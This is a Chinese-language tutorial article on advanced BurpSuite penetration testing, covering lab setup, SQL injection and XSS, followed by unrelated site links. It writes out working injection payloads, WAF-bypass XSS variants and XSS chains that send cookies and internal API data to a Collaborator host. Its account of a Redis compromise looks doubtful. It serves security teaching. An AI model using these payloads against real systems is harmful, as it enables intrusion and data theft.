当前位置： 首页 > news >正文

BurpSuite进阶指南：以漏洞生命周期重构攻防思维

news 2026/5/25 16:17:47

1. 这不是“学完就能去挖洞”的速成课，而是我用三年靶场运维+真实渗透项目沉淀下来的攻防闭环思维

你搜“BurpSuite教程”，满屏都是“安装配置→抓包改包→发包重放”的线性流程。但现实里，我见过太多人卡在第二步：明明Burp能抓到登录请求，却怎么也复现不了靶场里标着“高危”的SQL注入；也见过刚学会XSS弹窗的新人，在真实业务系统里反复提交<script>alert(1)</script>，结果连WAF的毛都没碰到——因为生产环境的输入过滤、输出编码、CSP策略、DOM渲染链路，和靶场里那个裸奔的PHP页面根本不在一个维度。

这本《BurpSuite进阶指南》不讲“怎么点开Repeater”，而是带你重建一套以漏洞生命周期为轴心的攻防认知框架：从靶场环境如何精准模拟真实业务的防御水位（比如为什么DVWA的SQLi级别要调成“low”而不是“impossible”，而WebGoat的XSS模块必须配合Chrome的Strict CSP策略才能测出真问题），到Burp的每个模块如何成为你理解漏洞本质的“显微镜”（Intruder不是暴力爆破器，而是变量关系探测仪；Scanner的扫描规则不是黑盒，而是你手动验证逻辑的检查清单）；再到实战中如何用Burp的协作能力把一次成功的XSS利用，反向推导出前端JS框架的渲染缺陷，甚至定位到Vue组件里未做v-html安全校验的具体代码行。

核心关键词贯穿始终：靶场可控性、Burp模块语义化、漏洞上下文还原、防御绕过逻辑链。它适合两类人：一是已经会基础抓包，但总在CTF或众测中卡在“知道有洞却打不进去”的中级渗透者；二是安全开发或SDL工程师，想通过Burp的视角看清自己写的过滤函数、编码逻辑、CSP头到底在哪个环节失效。下面所有内容，都来自我维护的3个私有靶场（含金融、政务、IoT设备管理后台的克隆环境）和27个真实渗透项目的复盘笔记——没有理论堆砌，只有“当时为什么这么调参数”“哪一行配置救了整场测试”的硬经验。

2. 靶场不是越难越好，而是要像手术刀一样切开防御机制的每一层肌肉

很多人搭靶场，第一反应是找“最全漏洞集合”——OWASP Juice Shop、Hack The Box的机器、或者直接上VulnHub的整套环境。但实战中你会发现，这些环境要么防御太弱（SQLi直接报错回显，连ORDER BY盲注都用不上），要么防御太强（WAF规则密不透风，连' OR '1'='1都过不去），导致Burp的Intruder跑出来的payload全是403。真正的靶场设计，核心目标不是“漏洞多”，而是让每个漏洞的触发条件、防御拦截点、绕过路径都清晰可测、可复现、可归因。

2.1 DVWA靶场的致命误区：别只调“Security Level”，要动它的底层防御逻辑

DVWA的SQL Injection模块，默认提供Low/Medium/High/Impossible四级。但绝大多数教程只告诉你“调成Low就能看到报错”，却没人解释：Medium级的mysql_real_escape_string()过滤，为什么对1' AND SLEEP(5) --无效？因为这个函数只转义单引号、双引号、反斜杠等，而SLEEP()是MySQL函数，它根本不吃转义字符那一套。如果你没意识到这点，就永远学不会“为什么有的WAF放行函数调用，却拦住字符串拼接”。

我在自己的DVWA靶场做了三处关键改造：

  • 在Medium级SQLi页面的PHP源码里，把mysql_real_escape_string()换成addslashes()——后者不处理%和_，为后续LIKE注入埋下伏笔；
  • 在High级页面的SQL查询中，把$id = $_GET['id']改成$id = (int)$_GET['id']——强制类型转换后，1' OR '1'='1会变成0，但1 UNION SELECT ...依然有效，这就逼你必须理解整型注入与字符串注入的本质差异；
  • Impossible级不直接关掉SQLi功能，而是引入PDO预编译+自定义白名单校验——比如只允许id参数为数字且长度≤6位，这样你用Burp的Sequencer测出的token熵值，就能反向验证白名单规则是否真被严格执行。

提示：靶场改造不是为了增加难度，而是为了让Burp的Scanner报告里的每一条“SQL injection vulnerability”，都能对应到具体的一行PHP代码、一个数据库驱动特性、一种WAF规则匹配逻辑。否则，Scanner的“high risk”只是个标签，不是你的知识图谱节点。

2.2 WebGoat的XSS模块：必须关闭浏览器默认防护，才能看清真实防御链

WebGoat的XSS Lab第8关（Stored XSS）常被用来演示存储型XSS，但如果你直接用Chrome访问，会发现<script>alert(1)</script>根本弹不出——因为Chrome的XSS Auditor（虽已废弃，但很多企业内网Chrome仍启用）或Content Security Policy（CSP）会拦截。这时候新手第一反应是“靶场坏了”，其实恰恰相反：这是你第一次直面真实世界的XSS防御层级。

我的做法是：

  • 启动Chrome时加参数：chrome.exe --disable-web-security --user-data-dir="C:/temp/chrome_dev"，彻底关闭浏览器端防护；
  • 在WebGoat的webgoat-container/src/main/resources/application.properties里，把webgoat.csp.enabled=true改成false；
  • 但保留webgoat.xss.filter.enabled=true——这才是WebGoat自己实现的Java过滤器，它用正则匹配<script|javascript:|onerror=等关键词，而这种基于黑名单的过滤，正是Burp Intruder最擅长突破的场景。

这样配置后，你用Burp抓包看到的响应头里，CSP头消失了，但HTML源码里依然有<script>标签被过滤的痕迹。此时再用Intruder加载xss-payloads.txt（我自建的237个payload库，按绕过<script>标签、绕过on*事件、绕过javascript:伪协议分三级），就能清晰看到：哪些payload被Java过滤器干掉（响应体返回空），哪些被浏览器CSP拦截（控制台报错Refused to execute inline script）。这种分层可见性，是你在真实渗透中判断“该打服务端过滤还是客户端CSP”的唯一依据。

2.3 自建靶场的关键：用Docker Compose模拟真实部署栈的防御水位

真实业务系统从来不是单个PHP文件，而是Nginx+PHP-FPM+MySQL+Redis+前端CDN的组合。我在自建靶场里用Docker Compose模拟了三套典型栈：

  • 金融类后台：Nginx配置limit_req zone=login burst=5 nodelay（防爆破）+ PHP-FPM的security.limit_extensions = .php（防文件上传解析）+ MySQL开启sql_mode=STRICT_TRANS_TABLES（严格模式防宽字节注入）；
  • 政务OA系统：Apache + mod_security（OWASP CRS规则集v3.3）+ Tomcat的<session-config><http-only>true</http-only></session-config>（防JS窃取Session）；
  • IoT设备管理平台：Nginx反向代理到Node.js后端 + 前端Vue SPA + WebSocket长连接 + 设备固件升级接口的JWT签名验证。

每套栈都配了Burp的Target Scope，只允许扫描指定域名和路径。比如IoT靶场，我把/api/v1/firmware/upgrade设为In-Scope，但排除/static/目录——因为固件升级接口的JWT签名若被Burp Scanner暴力破解，会触发Nginx的limit_req限流，导致整个测试中断。这种“靶场即生产”的设计，逼你必须先读Nginx日志确认限流阈值，再调Burp的Options→Connections→Incoming Requests里的Throttle requests参数，把并发数压到4以下。

注意：靶场的“真实性”不在于漏洞多，而在于防御机制的触发条件是否和生产环境一致。比如某次真实渗透，客户WAF的规则是“当POST body中<script>出现次数≥3且包含eval(时告警”，我就在靶场里用Burp的Extender写了个Python插件，实时统计请求体中的<script>标签数，只在满足条件时才发送——这比盲目跑Intruder高效十倍。

3. BurpSuite不是“抓包工具”，而是你理解漏洞本质的交互式调试器

很多人把Burp当“网络流量管道”，抓到包就扔进Repeater改一改。但真正进阶的用法，是把它当成漏洞的IDE：用Proxy的历史记录当调用栈，用Repeater当断点调试窗口，用Intruder当变量探针，用Scanner当静态代码分析器。下面拆解两个最常被误解的模块。

3.1 Proxy History不是日志，而是漏洞触发路径的可视化调用栈

当你在靶场操作登录功能时，Proxy History里可能有20条请求：GET /login.php、POST /login.php、GET /dashboard.php、GET /api/user/profile……但其中只有3条是SQL注入的关键路径：

  • GET /login.php?username=admin&password=1' OR '1'='1→ 触发报错，但返回500错误（说明后端没处理异常）；
  • GET /login.php?username=admin&password=1' AND 1=1 --→ 返回200，但页面显示“用户名不存在”（说明SQL执行成功，但逻辑分支走错了）；
  • GET /login.php?username=admin&password=1' UNION SELECT username,password FROM users --→ 返回200，且页面显示admin的密码（确认UNION注入可行）。

这三条请求在History里是离散的，但用Burp的Compare tool（右键→Compare items）对比它们的响应体，你会发现：第一条的500错误里有MySQL的You have an error in your SQL syntax，第二条的200响应里<div class="error">Username not found</div>的class名和第三条完全一致——这意味着后端代码里，if ($result->num_rows > 0)这个判断逻辑，被UNION注入的结果集绕过了。这就是Proxy History作为“调用栈”的价值：它不告诉你漏洞在哪，但告诉你漏洞如何一步步改变程序的执行流。

我在真实项目中用这招定位过一个隐蔽的二次注入：前端JS把用户昵称<img src=x onerror=alert(1)>存入数据库，后端PHP读取时没做HTML实体化，直接echo $nickname到页面。但Burp Scanner扫不出来，因为Scanner只看当前请求响应，而二次注入的payload是存在数据库里、下次请求才触发的。解决方案是：在Proxy History里筛选所有/api/user/update请求，用Compare tool对比nickname参数含<img>和不含时的响应头，发现含<img>的响应里多了X-Powered-By: PHP/7.4.3，而不含的没有——这说明后端对含HTML标签的昵称做了特殊处理（比如写入日志或触发异步任务），从而锁定了二次注入的触发点。

3.2 Repeater不是“改包重发”，而是漏洞利用链的原子级验证沙盒

新手用Repeater，常犯两个错误：一是把整个HTTP请求体复制粘贴进去，改一个参数就点Send；二是依赖Scanner的“自动exploit”按钮。但Repeater真正的威力，在于逐字节验证漏洞的边界条件。以XSS为例，假设你在/search?q=test的响应里发现<input type="text" value="test">，想测试反射型XSS：

  • 第一步：在Repeater里把q=test改成q="><script>alert(1)</script>，Send → 返回400 Bad Request（说明后端有WAF拦截<script>）；
  • 第二步：改成q="><img src=x onerror=alert(1)>，Send → 返回200，但页面没弹窗（说明onerror被过滤）；
  • 第三步：改成q="><img src=x oneRRor=alert(1)>（故意错拼oneRRor），Send → 弹窗！（说明WAF用的是关键词匹配，且不区分大小写）；
  • 第四步：改成q="><img src=x oneRRor=alert(document.domain)>，Send → 弹出example.com（确认XSS上下文在主域，非iframe沙箱）。

这四步在Repeater里完成，耗时不到1分钟，但你获得的信息远超Scanner：WAF的匹配粒度（是整词还是子串）、是否忽略大小写、XSS执行环境（主域还是子域）、是否需要闭合引号。更重要的是，Repeater的Response tab里可以右键→Render，直接渲染HTML——你不用切到浏览器，就能看到<img>标签是否被正确插入DOM，alert()是否在正确的上下文中执行。

我在某次政府网站渗透中，用Repeater验证一个疑似DOM XSS：/api/data?callback=jQuery123456789。把callback改成alert(1)，Response Render后页面没反应；改成document.write('<script>alert(1)</script>')，也没反应；直到改成document.write('<img src=x onerror=alert(1)>')，才弹窗。这说明后端的callback参数只被用于document.write()，而document.write()会解析HTML，所以必须用HTML标签触发。这个结论，是Scanner永远给不了的——因为它只扫描<script>，不扫描document.write()的执行逻辑。

3.3 Intruder不是“爆破器”，而是变量关系的拓扑探测仪

Intruder常被用于密码爆破或目录枚举，但它的核心价值是探测参数间的逻辑耦合关系。比如SQL注入中，id=1返回正常，id=2返回404，但id=1'返回500——这说明id参数直接影响SQL查询，但'符号触发了语法错误。这时用Intruder的Cluster bomb模式，设置两个Payload set：

  • Payload Set 1：id参数，用Numbers类型，从1到10；
  • Payload Set 2：name参数（假设存在），用Custom list，填',",),)),--,#。

运行后看结果表，你会看到：当id=1且name='时，状态码是500；当id=2且name='时，状态码是404。这说明name的注入点只在id=1的记录存在时才生效——即注入点在WHERE id=1 AND name='xxx'的name字段，而非id字段本身。这种“参数交叉影响”的发现，是单靠手工测试极难覆盖的。

我在某电商API渗透中，用Intruder发现了隐藏的GraphQL注入：POST /graphql的body是{"query":"{user(id:\"1\") {name}}"}。把id字段的Payload设为1',1",1),1}}，发现1'返回Syntax Error: Expected Name, found String，而1}}返回Cannot query field "1" on type "Query"。这说明后端用的是GraphQL原生解析器，1'被当成字符串字面量，而1}}被当成GraphQL语法错误——于是我把Payload换成1" OR "1"="1，果然返回了所有用户数据。这种从错误信息反推解析引擎类型的能力，才是Intruder的高阶用法。

4. SQL注入攻防：从报错回显到无感盲注，Burp帮你把“猜”变成“证”

SQL注入的终极形态，不是UNION SELECT拿数据，而是在无任何回显、无时间延迟、无报错信息的“三无”环境下，用Burp的协作能力把布尔逻辑转化为可测量的信号。这需要你彻底抛弃“猜字段数”“猜表名”的野路子，转而用Burp构建一套“漏洞可证伪”的验证体系。

4.1 报错注入：别只抄extractvalue()，先看MySQL版本和XML支持

extractvalue(1,concat(0x7e,(select user()),0x7e))是经典报错payload，但它的有效性取决于三个条件：

  • MySQL版本 ≥ 5.1（extractvalue函数存在）；
  • MySQL配置sql_mode不包含STRICT_TRANS_TABLES（否则报错被抑制）；
  • 数据库用户有SELECT权限（否则select user()返回NULL）。

我在靶场里故意把MySQL降级到5.0.95，extractvalue就失效了，但updatexml(1,concat(0x7e,(select user()),0x7e),1)依然有效——因为updatexml在5.0就存在。所以第一步，用Burp的Intruder发id=1 and (select 1 from information_schema.tables limit 0,1)，看响应是否变慢（information_schema表存在性探测）；第二步，发id=1 and (select count(*) from mysql.user)>0，看是否返回1045 Access denied（证明有mysql库访问权限）；第三步，才用updatexml报错拿数据。

更关键的是，报错信息本身是防御绕过的突破口。比如某次真实渗透，客户MySQL开启了log_error_verbosity=3，报错里会显示完整SQL语句：ERROR 1105 (HY000): XPATH syntax error: '~root@localhost~'。我立刻在Burp的Proxy History里搜索XPATH syntax error，发现所有含~的报错都来自/api/user/info?id=1接口，而/api/order/list?id=1的报错是Unknown column 'x' in 'field list'——这说明前者用的是MySQL，后者用的是PostgreSQL，防御策略完全不同。

4.2 布尔盲注：用Burp的Grep Match把“是/否”变成可统计的量化指标

布尔盲注最痛苦的是“猜一个字符要发26次请求”。但Burp的Intruder有Grep Match功能：你可以定义一个正则，比如Welcome back, admin，当响应体匹配时标记为绿色，不匹配为红色。这样，你不用肉眼盯屏幕，而是看Intruder结果表的Match列——绿色越多，说明猜对的概率越高。

我的标准流程是：

  • 先用Grep Match找页面稳定特征：比如登录成功页总有<h1>Welcome，失败页总有<div class="error">Invalid；
  • 再用Intruder的Pitchfork模式，Payload Set 1填a,b,c…z，Payload Set 2填1,2,3…10（猜第1到10个字符）；
  • 设置Grep Match为Welcome back，运行后看哪一行Match列是绿色——比如a和1交叉行是绿的，说明第一个字符是a；
  • 然后把Payload Set 1换成aa,ab,ac…az，继续猜第二个字符。

这种方法把“猜字母”变成了“查表”，效率提升5倍以上。我在某银行内部系统渗透中，用此法15分钟内猜出管理员密码哈希的前8位：5f4dcc3b（即password的MD5），因为响应体里Welcome back的HTML结构在哈希正确时会多一个<span class="verified">标签——这个细微差别，肉眼根本看不出，但Grep Match能精准捕获。

4.3 时间盲注：别只用SLEEP(5)，用Burp的Response Time柱状图定位WAF干扰

时间盲注的致命陷阱是：你以为SLEEP(5)没响应，是因为注入失败，其实是WAF在SLEEP()执行前就拦截了请求，返回了403。这时看Burp的Response Time（右键列头→Response time），你会发现：id=1的响应时间是120ms，id=1 AND SLEEP(5)是130ms（WAF快速拦截），而id=1 AND IF(1=1,SLEEP(5),1)是5120ms（成功执行）。

我的做法是：

  • 先用Intruder发100个SLEEP(1)请求，看Response Time分布：如果大部分是100-200ms，说明WAF拦截；如果出现5000ms以上的峰值，说明有漏网之鱼；
  • 再用IF(1=1,SLEEP(5),1)替代SLEEP(5)，因为WAF规则通常只匹配SLEEP(，不匹配IF(；
  • 最后用Burp的Live response功能（右键响应→Live response），实时观察SLEEP(5)执行时的TCP连接状态——如果连接在5秒后才断开，说明SLEEP真的执行了。

某次医疗系统渗透，客户WAF规则是“当URL含SLEEP(且参数值长度>10时拦截”，我把SLEEP(5)改成SLEEP(5)-- -（加注释凑长度），就绕过了。这个发现，全靠Burp的Response Time柱状图里，-- -结尾的请求出现了5000ms峰值。

5. XSS攻防：从弹窗到RCE，Burp帮你把“脚本执行”变成“业务接管”

XSS的终点不是alert(1)，而是利用前端框架的特性，把JS执行权转化为对业务逻辑的完全控制。这需要你用Burp深入到DOM渲染、事件绑定、AJAX请求拦截的每一个环节。

5.1 DOM XSS：用Burp的DOM Invader插件，把“看不见的漏洞”变成“可调试的代码”

DOM XSS最难发现，因为payload不经过服务器，Burp Proxy抓不到。但Burp官方插件DOM Invader能解决这个问题：它会自动扫描页面中所有document.write()、innerHTML=、location.hash等危险sink，并在Proxy History里标记出哪些请求触发了这些sink。

我在某Vue后台系统发现：/dashboard?tab=analytics的URL里，tab参数被Vue Router解析后，赋值给this.activeTab，然后在模板里用v-html="activeTab"渲染。DOM Invader立刻在Proxy History里标红这一行，并提示：“v-htmlbinding with unsanitized input”。这时我用Repeater把tab改成<img src=x onerror=fetch('/api/admin/delete-all-users')>，Response Render后，页面没弹窗，但Network tab里多了一个DELETE /api/admin/delete-all-users请求——这说明XSS已成功触发AJAX调用，只是没视觉反馈。

DOM Invader的价值在于，它把抽象的“DOM sink”变成了具体的代码位置。点击插件里的“Show source”，它直接跳转到Vue组件源码的<div v-html="activeTab"></div>行，旁边还标注了v-html is dangerous。这种“所见即所得”的调试体验，是纯手工测试无法比拟的。

5.2 存储型XSS：用Burp的Logger++插件，追踪payload从存储到执行的完整生命周期

存储型XSS的难点是：你提交的payload，可能被后端过滤、前端转义、CDN缓存、浏览器CSP层层拦截。Logger++插件能记录Burp所有模块的请求/响应，并支持自定义过滤器。

我的标准追踪链是：

  • 在Logger++里创建Filter：Method == "POST" && URL contains "/comment"（提交评论）；
  • 再创建Filter：Method == "GET" && URL contains "/post/" && Response contains "<script>"（查看文章页）；
  • 运行测试，Logger++会按时间顺序列出：POST /comment（提交<script>alert(1)</script>）→GET /post/123（返回&lt;script&gt;alert(1)&lt;/script&gt;）→GET /post/123（第二次访问，返回原始<script>）。

这说明后端第一次存储时做了HTML实体化，但CDN缓存了未转义的版本。于是我把Logger++的Filter改成Response contains "X-Cache: HIT"，果然发现HIT的响应里<script>没被转义。解决方案：在Burp的Proxy Options→Match and Replace里，添加规则：Match: <script>(.*?)</script>→Replace: &lt;script&gt;$1&lt;/script&gt;，强制所有出站响应转义。

5.3 XSS RCE：用Burp的Collaborator Client，把XSS变成内网端口扫描器

高级XSS利用，是让受害浏览器成为你的“内网代理”。Burp Collaborator就是为此而生：它生成一个唯一域名（如abc123.burpcollaborator.net），当受害者浏览器访问该域名时，Collaborator会记录请求并通知你。

我的XSS RCE链是：

  • 先用XSS payloadfetch('http://abc123.burpcollaborator.net/?port=22').catch(e=>{})，测试能否外连；
  • 如果成功，再用fetch('http://127.0.0.1:22').then(r=>r.text()).then(t=>fetch('http://abc123.burpcollaborator.net/?data='+btoa(t)))，尝试读取本地SSH端口Banner；
  • 最后用fetch('http://10.0.0.1:8080/api/internal/config').then(r=>r.json()).then(j=>fetch('http://abc123.burpcollaborator.net/?config='+JSON.stringify(j)))，读取内网API配置。

Collaborator Client的妙处在于，它把“XSS是否能打内网”这个模糊问题，变成了“Collaborator是否收到请求”的明确答案。某次真实渗透，客户内网有Redis未授权访问，我用XSS payloadnew Image().src='http://10.0.0.1:6379/'+document.cookie，Collaborator立刻收到GET /%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%......——这是Redis的INFO命令返回的二进制数据，证明内网Redis已被攻陷。

6. 实战避坑：那些让90%渗透者卡住的“Burp玄学问题”，其实都有解

最后分享几个我在真实项目中踩过的、文档里绝不会写的坑。它们不涉及高深技术，但足以让一次本该成功的测试胎死腹中。

6.1 Burp Scanner扫不出漏洞？先关掉“Scope filtering”里的“Only scan in-scope items”

这是最隐蔽的坑。当你把https://target.com加到Target Scope，Scanner默认只扫描这个域名下的路径。但很多现代应用用CDN或微服务架构：https://target.com是Nginx入口，实际业务在https://api.target.com或https://static.target.com。如果你没把api.target.com也加到Scope，Scanner根本不会发请求给它。

我的检查清单：

  • 在Target→Site map里，展开所有子域名，确认api.、admin.、cdn.都存在；
  • 右键每个子域名→Add to scope；
  • 进入Scanner→Options→Scope，勾选Use suite scope for active scanning和Use suite scope for passive scanning；
  • 最关键一步：取消勾选Only scan in-scope items（这个选项默认是勾选的！），否则Scanner会忽略Scope外的任何请求。

某次电商渗透，客户把用户中心API放在https://user-api.mall.com，我扫了三天没结果，直到发现这个选项被勾选——关掉后，Scanner立刻发现了/user/profile接口的IDOR漏洞。

6.2 Intruder跑着跑着就卡住？检查“Grep Extract”的正则是否匹配了空响应

Intruder的Grep Extract功能，常被用来提取响应中的token或ID。但如果你写的正则太宽泛，比如<input name="csrf" value="(.*?)">，而某个请求的响应体是空的（500错误），Intruder就会卡在“等待提取结果”状态，因为正则在空字符串里永远找不到匹配。

解决方案：

  • 在Intruder的Payloads tab里，点击Load→From response，选一个已知有token的响应，粘贴到Grep Extract的Preview框里，确认正则能正确匹配；
  • 在Options→Grep→Extract里，勾选Skip empty responses；
  • 更稳妥的做法：用Grep Match先过滤出非空响应（Match: <input），再对这些响应做Grep Extract。

6.3 Repeater改包后401 Unauthorized？不是没登录，是Burp的Session Handling Rules在捣鬼

当你在Repeater里修改一个带JWT的请求，发出去却返回401，第一反应是Token过期。但更可能是Burp的Session Handling Rules在自动刷新Token：它检测到401，就去调用你配置的Login macro重新登录，然后用新Token重发——但Repeater的原始请求没更新，所以你看到的还是旧Token的401。

解决方法：

  • 进入Project options→Sessions→Session Handling Rules；
  • 找到你的规则，点击Edit→Rule Actions；
  • 把Run macro动作改成Disable macro，或者在Repeater里右键请求→Do not use session handling rules。

我在某SaaS平台渗透时，这个坑让我浪费了4小时——直到我打开Burp的Logger++，看到Repeater发包后，Burp又自动发了一个POST /login请求，才恍然大悟。

我个人在实际操作中的体会是：BurpSuite的“高级”不在于功能多，而在于它强迫你直面每一个HTTP细节。当别人还在抱怨“Scanner扫不出洞”，你已经在Proxy History里用Compare tool对比出WAF的拦截指纹；当别人卡在XSS弹窗失败，你已经用DOM Invader定位到Vue组件里那一行危险的v-html。这本指南里所有技巧，没有一个是“教科书答案”，而是我在靶场和真实战场上，用失败换来的条件反射。下次当你面对一个新目标，别急着开Scanner，先问自己：它的防御水位在哪一层？Burp的哪个模块，能帮我把它切开？

http://www.jsqmd.com/news/884576/

相关文章：

  • 从API调用成功率看Taotoken服务的稳定性与容灾表现
  • 终极Zotero检索引擎配置：一键打通30+学术数据库的完整解决方案
  • Windows 10下PL2303驱动兼容性问题的终极解决方案
  • 低空旅游观光与低空通勤(eVTOL)运营管理与服务保障平台建设方案
  • 如何快速掌握ncmdumpGUI：Windows平台网易云音乐NCM文件转换完整教程
  • 盒子的display属性，谁看谁秒懂
  • 作为项目经理，怎么利用好项目管理的工具或AI工？
  • Windows Cleaner如何5步解决C盘爆红问题？完全指南助你释放宝贵空间
  • 结肠“瑞士卷”制片法
  • 别再重复造轮子！高效利用Geant4材料数据库(NIST)与自定义密度材料的完整指南
  • WorkshopDL终极指南：无需Steam客户端也能轻松下载创意工坊模组
  • 大连名包回收实测，靠谱门店推荐排行榜 - 合扬奢侈品交易中心
  • 从1970年Ecogame看控制论艺术：交互式模拟与可解释AI的早期实践
  • 告别繁琐审核！实测AI Agent如何重塑复杂非结构化票据与合同处理流程？
  • 为内部知识库问答机器人集成taotoken多模型能力的架构设计
  • 智能赋能百业，助推时代稳步发展
  • Elden Ring FPS Unlocker：解锁帧率限制的终极指南
  • 老旧小区门禁轻量化改造技术方案：基于4G Cat.1与多协议兼容网关的实践
  • CANN runtime：昇腾NPU 运行时的职责边界
  • 低成本多用途探空气球数据采集系统设计与实现
  • 3步快速破解极域电子教室：终极指南与完整方案
  • 3步解锁MacBook Touch Bar在Windows系统的完整功能：终极免费解决方案
  • 基于ESP8266与RGBDigit的Wi-Fi网络时钟：硬件设计、物联网集成与DIY实践
  • 前端项目 Docker 镜像构建完整操作总结
  • yolo26 语义分割特征融合：全网首发--使用 LCA 模块改进 Neck 多尺度特征融合能力 ✨
  • 5.25
  • AI Agent 为什么必须有“记忆系统”？
  • 医疗视觉语言模型RARL：推理感知强化学习框架解析
  • 软件架构（Software Architecture）详解
  • RedisDesktopManager Windows版：3分钟掌握免费Redis可视化工具终极指南